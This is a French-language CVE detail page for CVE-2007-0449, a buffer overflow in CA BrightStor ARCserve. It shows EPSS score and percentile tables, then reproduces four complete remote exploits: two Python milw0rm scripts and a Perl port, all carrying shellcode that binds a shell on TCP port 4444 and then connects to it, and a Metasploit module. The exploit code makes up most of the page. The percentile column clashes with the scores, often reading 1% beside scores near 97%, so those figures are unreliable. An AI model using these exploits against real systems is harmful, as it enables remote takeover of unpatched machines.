CVE-2007-0449 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	90.31%	–	–
2023-03-12	–	–	–	97.42%	–
2023-05-21	–	–	–	97.37%	–
2023-07-02	–	–	–	97.29%	–
2023-08-06	–	–	–	97.24%	–
2023-09-17	–	–	–	97.28%	–
2023-10-22	–	–	–	96.98%	–
2023-12-03	–	–	–	96.3%	–
2024-01-07	–	–	–	94.56%	–
2024-02-11	–	–	–	95.99%	–
2024-03-24	–	–	–	97.17%	–
2024-04-28	–	–	–	97.18%	–
2024-06-02	–	–	–	97.18%	–
2024-06-23	–	–	–	96.97%	–
2024-08-04	–	–	–	97.03%	–
2024-09-29	–	–	–	97.2%	–
2024-12-15	–	–	–	96.84%	–
2024-12-22	–	–	–	96.48%	–
2025-01-19	–	–	–	96.48%	–
2025-03-18	–	–	–	–	81.51%
2025-03-30	–	–	–	–	81.66%
2025-03-30	–	–	–	–	81.66,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	1%
2023-03-12	1%
2023-05-21	1%
2023-07-02	1%
2023-08-06	1%
2023-09-17	1%
2023-10-22	1%
2023-12-03	99%
2024-01-07	99%
2024-02-11	99%
2024-03-24	1%
2024-04-28	1%
2024-06-02	1%
2024-06-23	1%
2024-08-04	1%
2024-09-29	1%
2024-12-15	1%
2024-12-22	1%
2025-01-19	1%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

#!/usr/bin/python # Remote exploit for the CA BrightStor Arcserve stack overflow as # described in http://www.securityfocus.com/archive/1/458648/30/0/threaded # # # Winny Thomas ;-) # Author shall bear no responsibility for any screw ups caused by using this code # import os import sys import socket import struct #Portbind shellcode; Binds shell on TCP port 4444 shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode += "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" shellcode += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" shellcode += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" shellcode += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" shellcode += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e" shellcode += "\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x58" shellcode += "\x4e\x56\x46\x42\x46\x42\x4b\x58\x45\x54\x4e\x53\x4b\x48\x4e\x57" shellcode += "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x44\x4a\x51\x4b\x38" shellcode += "\x4f\x55\x42\x32\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x58" shellcode += "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c" shellcode += "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" shellcode += "\x46\x4f\x4b\x53\x46\x35\x46\x52\x4a\x42\x45\x57\x45\x4e\x4b\x48" shellcode += "\x4f\x45\x46\x52\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x50\x4b\x54" shellcode += "\x4b\x48\x4f\x45\x4e\x41\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x58" shellcode += "\x49\x48\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c\x41\x53\x4b\x4d" shellcode += "\x46\x56\x4b\x38\x43\x54\x42\x43\x4b\x58\x42\x44\x4e\x30\x4b\x38" shellcode += "\x42\x47\x4e\x41\x4d\x4a\x4b\x58\x42\x44\x4a\x30\x50\x55\x4a\x56" shellcode += "\x50\x48\x50\x34\x50\x30\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x36" shellcode += "\x43\x45\x48\x56\x4a\x46\x43\x53\x44\x33\x4a\x46\x47\x37\x43\x57" shellcode += "\x44\x33\x4f\x35\x46\x35\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e" shellcode += "\x4e\x4f\x4b\x53\x42\x45\x4f\x4f\x48\x4d\x4f\x35\x49\x38\x45\x4e" shellcode += "\x48\x46\x41\x58\x4d\x4e\x4a\x30\x44\x30\x45\x35\x4c\x36\x44\x30" shellcode += "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x35" shellcode += "\x4f\x4f\x48\x4d\x43\x35\x43\x45\x43\x55\x43\x45\x43\x35\x43\x34" shellcode += "\x43\x55\x43\x34\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x36\x41\x41" shellcode += "\x4e\x45\x48\x36\x43\x45\x49\x58\x41\x4e\x45\x39\x4a\x56\x46\x4a" shellcode += "\x4c\x31\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x31" shellcode += "\x41\x55\x45\x55\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42" shellcode += "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x35\x4f\x4f\x42\x4d" shellcode += "\x4a\x36\x45\x4e\x49\x54\x48\x58\x49\x44\x47\x55\x4f\x4f\x48\x4d" shellcode += "\x42\x55\x46\x35\x46\x35\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x56" shellcode += "\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x45\x4f\x4f\x48\x4d\x45\x45" shellcode += "\x4f\x4f\x42\x4d\x48\x46\x4c\x36\x46\x56\x48\x36\x4a\x46\x43\x46" shellcode += "\x4d\x46\x49\x58\x45\x4e\x4c\x56\x42\x35\x49\x55\x49\x52\x4e\x4c" shellcode += "\x49\x38\x47\x4e\x4c\x56\x46\x54\x49\x58\x44\x4e\x41\x53\x42\x4c" shellcode += "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x34\x4e\x32" shellcode += "\x43\x49\x4d\x48\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36" shellcode += "\x44\x47\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x57\x46\x34\x4f\x4f" shellcode += "\x48\x4d\x4b\x45\x47\x55\x44\x55\x41\x45\x41\x35\x41\x55\x4c\x36" shellcode += "\x41\x30\x41\x35\x41\x55\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x56" shellcode += "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x56" shellcode += "\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x38\x47\x55\x4e\x4f" shellcode += "\x43\x48\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d" shellcode += "\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x43\x55\x4f\x4f\x48\x4d" shellcode += "\x4f\x4f\x42\x4d\x5a\x90" def ExploitCA(target): sockAddr = (target, 1900) tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tsock.connect(sockAddr) payload = str('0000033000') payload += "\x90" * 2322 #At the time of overflow EBX points to this location payload += "\x90\x90\xeb\x08" #Jump over return address into shellcode payload += struct.pack("<L", 0x7C577B03) #call ebx from kernel32.dll payload += shellcode payload += "X" * (30670 - len(shellcode)) tsock.send(payload) def ConnectShell(target): ConnStr = "/usr/bin/telnet " + target + " 4444" os.system(ConnStr) if __name__ == '__main__': try: target = sys.argv[1] except IndexError: print 'Usage: %s <target>' % sys.argv[0] sys.exit(-1) ExploitCA(target) ConnectShell(target) # milw0rm.com [2007-02-01]

#!/usr/bin/python # I couldnt find a reliable exploit for my analysis and so came up with this. # Remote exploit for the CA BrightStor msgeng.exe service heap overflow # vulnerability as described in LS-20060313.pdf on lssec.com. The exploit was # tested on windows 2000 SP0. Opens a shell on TCP port 4444. Shouldnt be hard # to port to other platforms. The exploit overwrites the # UnhandledExceptionFilter in windows 2000 SP0 (located at 77EE044C) with the # address of call dword ptr [esi +4C] located in user32.dll. At the time when # UEF is called esi +4C contains a pointer to our shellcode. # # Winny M Thomas ;-) # Author shall bear no responsibility for any screw ups caused by using this code from impacket.dcerpc import transport, dcerpc from impacket import uuid import struct import sys def DCEconnectAndExploit(target): trans = transport.TCPTransport(target, 6503) trans.connect() dce = dcerpc.DCERPC_v5(trans) dce.bind(uuid.uuidtup_to_bin(('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0'))) request = "A" * 676 request += "\x90\x90\x90\x90" request += "\x90\x90\xeb\x0a" #Call dword ptr [esi +4C] from user32.dll request += struct.pack("<L", 0x77E4FB7A) #Overwrite UnhandledExceptionFilter in Windows 2000 SP0 request += struct.pack("<L", 0x77EE044C) request += "\x90\x90\x90\x90" * 2 #Portbinding shellcode; Opens shell on TCP port 4444 request += "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe0" request += "\x6f\xe3\x2a\x83\xeb\xfc\xe2\xf4\x1c\x05\x08\x67\x08\x96\x1c\xd5" request += "\x1f\x0f\x68\x46\xc4\x4b\x68\x6f\xdc\xe4\x9f\x2f\x98\x6e\x0c\xa1" request += "\xaf\x77\x68\x75\xc0\x6e\x08\x63\x6b\x5b\x68\x2b\x0e\x5e\x23\xb3" request += "\x4c\xeb\x23\x5e\xe7\xae\x29\x27\xe1\xad\x08\xde\xdb\x3b\xc7\x02" request += "\x95\x8a\x68\x75\xc4\x6e\x08\x4c\x6b\x63\xa8\xa1\xbf\x73\xe2\xc1" request += "\xe3\x43\x68\xa3\x8c\x4b\xff\x4b\x23\x5e\x38\x4e\x6b\x2c\xd3\xa1" request += "\xa0\x63\x68\x5a\xfc\xc2\x68\x6a\xe8\x31\x8b\xa4\xae\x61\x0f\x7a" request += "\x1f\xb9\x85\x79\x86\x07\xd0\x18\x88\x18\x90\x18\xbf\x3b\x1c\xfa" request += "\x88\xa4\x0e\xd6\xdb\x3f\x1c\xfc\xbf\xe6\x06\x4c\x61\x82\xeb\x28" request += "\xb5\x05\xe1\xd5\x30\x07\x3a\x23\x15\xc2\xb4\xd5\x36\x3c\xb0\x79" request += "\xb3\x3c\xa0\x79\xa3\x3c\x1c\xfa\x86\x07\xf2\x76\x86\x3c\x6a\xcb" request += "\x75\x07\x47\x30\x90\xa8\xb4\xd5\x36\x05\xf3\x7b\xb5\x90\x33\x42" request += "\x44\xc2\xcd\xc3\xb7\x90\x35\x79\xb5\x90\x33\x42\x05\x26\x65\x63" request += "\xb7\x90\x35\x7a\xb4\x3b\xb6\xd5\x30\xfc\x8b\xcd\x99\xa9\x9a\x7d" request += "\x1f\xb9\xb6\xd5\x30\x09\x89\x4e\x86\x07\x80\x47\x69\x8a\x89\x7a" request += "\xb9\x46\x2f\xa3\x07\x05\xa7\xa3\x02\x5e\x23\xd9\x4a\x91\xa1\x07" request += "\x1e\x2d\xcf\xb9\x6d\x15\xdb\x81\x4b\xc4\x8b\x58\x1e\xdc\xf5\xd5" request += "\x95\x2b\x1c\xfc\xbb\x38\xb1\x7b\xb1\x3e\x89\x2b\xb1\x3e\xb6\x7b" request += "\x1f\xbf\x8b\x87\x39\x6a\x2d\x79\x1f\xb9\x89\xd5\x1f\x58\x1c\xfa" request += "\x6b\x38\x1f\xa9\x24\x0b\x1c\xfc\xb2\x90\x33\x42\x10\xe5\xe7\x75" request += "\xb3\x90\x35\xd5\x30\x6f\xe3\x2a" dce.call(43, request) if __name__ == '__main__': try: target = sys.argv[1] except IndexError: print 'Usage: %s <target ip>\n' % sys.argv[0] sys.exit(-1) DCEconnectAndExploit(target) # milw0rm.com [2007-01-27]

#!/usr/bin/perl # # original exploit by lssec.com this is a perl porting # # acaro [at] jervus.it use IO::Socket::INET; use Switch; if (@ARGV < 3) { print "--------------------------------------------------------------------\n"; print "Usage : BrightStoreARCServer-11-5-4targets.pl -hTargetIPAddress -oTargetReturnAddress\n"; print " Return address: \n"; print " 1 - Windows 2k Sp4 English Version\n"; print " 2 - Windows 2k Sp4 Italian Version\n"; print " 3 - Windows XP Pro Sp1 English Version\n"; print " 4 - Windows XP Pro Sp0 English Version\n"; print " If values not specified, Windows 2k Sp4 will be used.\n"; print " Example : ./BrightStoreARCServer-11-5-4targets.pl -h127.0.0.1 -o1 -o1\n"; print "--------------------------------------------------------------------\n"; } use IO::Socket::INET; my $host = 10.0.0.2; my $port = 6503; my $reply; my $request; my $jmp="\xeb\x0a\x90\x90"; # JMP over ret and uef to our shellcode foreach (@ARGV) { $host = $1 if ($_=~/-h((.*)\.(.*)\.(.*)\.(.*))/); $uef = $1 if ($_=~/-o(.*)/); $ret = $1 if ($_=~/-o(.*)/); } switch ($uef) { case 1 { $uef="\x4c\x14\x54\x7c" } # Win2k SP4 English version case 2 { $uef="\x4c\x14\x68\x79" } # Win2k SP4 Italian version case 3 { $uef="\xb4\x73\xed\x77" } # WinXP Pro English SP1 version case 4 { $uef="\xb4\x63\xed\x77" } # WinXP Pro English SP0 version } switch ($ret) { case 1 { $ret="\xbf\x75\x40\x2d" } # Win2k SP4 English version CALL DWORD PTR DS:[ESI+48] in qclient.dll case 2 { $ret="\xbf\x75\x40\x2d" } # Win2k SP4 Italian version CALL DWORD PTR DS:[ESI+48] in qclient.dll case 3 { $ret="\x52\xbf\x04\x78" } # WinXP Pro English SP1 version CALL DWORD PTR DS:[EDI+6c] in RPCRT4.dll case 4 { $ret="\xd7\xe9\xd0\x77" } # WinXP Pro English SP0 version CALL DWORD PTR DS:[EDI+6c] in RPCRT4.dll } my $shellcode = "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe0". "\x00\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f". "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf". "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xbA\xbb\xbc\xbd\xbe\xbf". "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf". "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf". "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef". "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff". "\x1f\xb9\x85\x79\x86\x07\xd0\x18\x88\x18\x90\x18\xbf\x3b\x1c\xfa". "\x88\xa4\x0e\xd6\xdb\x3f\x1c\xfc\xbf\xe6\x06\x4c\x61\x82\xeb\x28". "\xb5\x05\xe1\xd5\x30\x07\x3a\x23\x15\xc2\xb4\xd5\x36\x3c\xb0\x79". "\xb3\x3c\xa0\x79\xa3\x3c\x1c\xfa\x86\x07\xf2\x76\x86\x3c\x6a\xcb". "\x75\x07\x47\x30\x90\xa8\xb4\xd5\x36\x05\xf3\x7b\xb5\x90\x33\x42". "\x44\xc2\xcd\xc3\xb7\x90\x35\x79\xb5\x90\x33\x42\x05\x26\x65\x63". "\xb7\x90\x35\x7a\xb4\x3b\xb6\xd5\x30\xfc\x8b\xcd\x99\xa9\x9a\x7d". "\x1f\xb9\xb6\xd5\x30\x09\x89\x4e\x86\x07\x80\x47\x69\x8a\x89\x7a". "\xb9\x46\x2f\xa3\x07\x05\xa7\xa3\x02\x5e\x23\xd9\x4a\x91\xa1\x07". "\x1e\x2d\xcf\xb9\x6d\x15\xdb\x81\x4b\xc4\x8b\x58\x1e\xdc\xf5\xd5". "\x95\x2b\x1c\xfc\xbb\x38\xb1\x7b\xb1\x3e\x89\x2b\xb1\x3e\xb6\x7b". "\x1f\xbf\x8b\x87\x39\x6a\x2d\x79\x1f\xb9\x89\xd5\x1f\x58\x1c\xfa". "\x6b\x38\x1f\xa9\x24\x0b\x1c\xfc\xb2\x90\x33\x42\x10\xe5\xe7\x75". "\xb3\x90\x35\xd5\x30\x6f\xe3\x2a"; my $uuid="\x05". #version "\x00". #version minor "\x0b". #packet bind "\x03". #packet flag "\x10\x00\x00\x00". #data rapresentation "\x48\x00". #fragment length "\x00\x00". #auth length "\x01\x00\x00\x00". #call id "\xd0\x16\xd0\x16". "\x00\x00\x00\x00". #assoc group "\x01\x00\x00\x00\x00\x00\x01\x00". "\xf0\x6b\x24\xdc\x7a\x7a\xce\x11\x9f\x88\x00\x80\x5f\xe4\x38\x38". #uuid "\x01\x00". #interface ver "\x00\x00". #interface ver minor "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60". #transfer syntax "\x02\x00\x00\x00"; #syntax ver my $special="\x05". #version "\x00". #version minor "\x00". #packet type request "\x03". #packet flags "\x10\x00\x00\x00". #data rapresentation "\x18\x08". #frag length "\x00\x00". #auth length "\x01\x00\x00\x00". #call id "\x00\x08\x00\x00". #alloc hint "\x00\x00". #contex id "\x2b\x00"; #opnum 43 my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port); $socket or die "Cannot connect to host!\n"; $request = $uuid; send $socket, $request, 0; print "[+] Sent uuid request\n"; recv($socket, $reply, 1024, 0); $request = $special.("\x90"x680).$jmp.$ret.$uef.$shellcode.("\x90"x1006)."\r\n"; send $socket, $request, 0; print "[+] Sent malicius 1st request\n"; $request = $special.("\x90"x680).$jmp.$ret.$uef.$shellcode.("\x90"x1029)."\r\n"; send $socket, $request, 0; print "[+] Sent malicius 2nd request\n"; print " + Connect on 4444 port of $host ...\n"; sleep(3); system("telnet $host 4444"); exit; # milw0rm.com [2007-01-28]

## # $Id: lgserver.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2007-0449' ], [ 'OSVDB', '31593' ], [ 'BID', '22342' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ], ], 'DisclosureDate' => 'Jan 31 2007', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(1900) ], self.class) end def exploit connect filler = "0000016705" + rand_text_english(2322) seh = generate_seh_payload(target.ret) sploit = filler + seh + "\x58" * 0x4141 print_status("Trying target #{target.name}...") sock.put(sploit) handler disconnect end end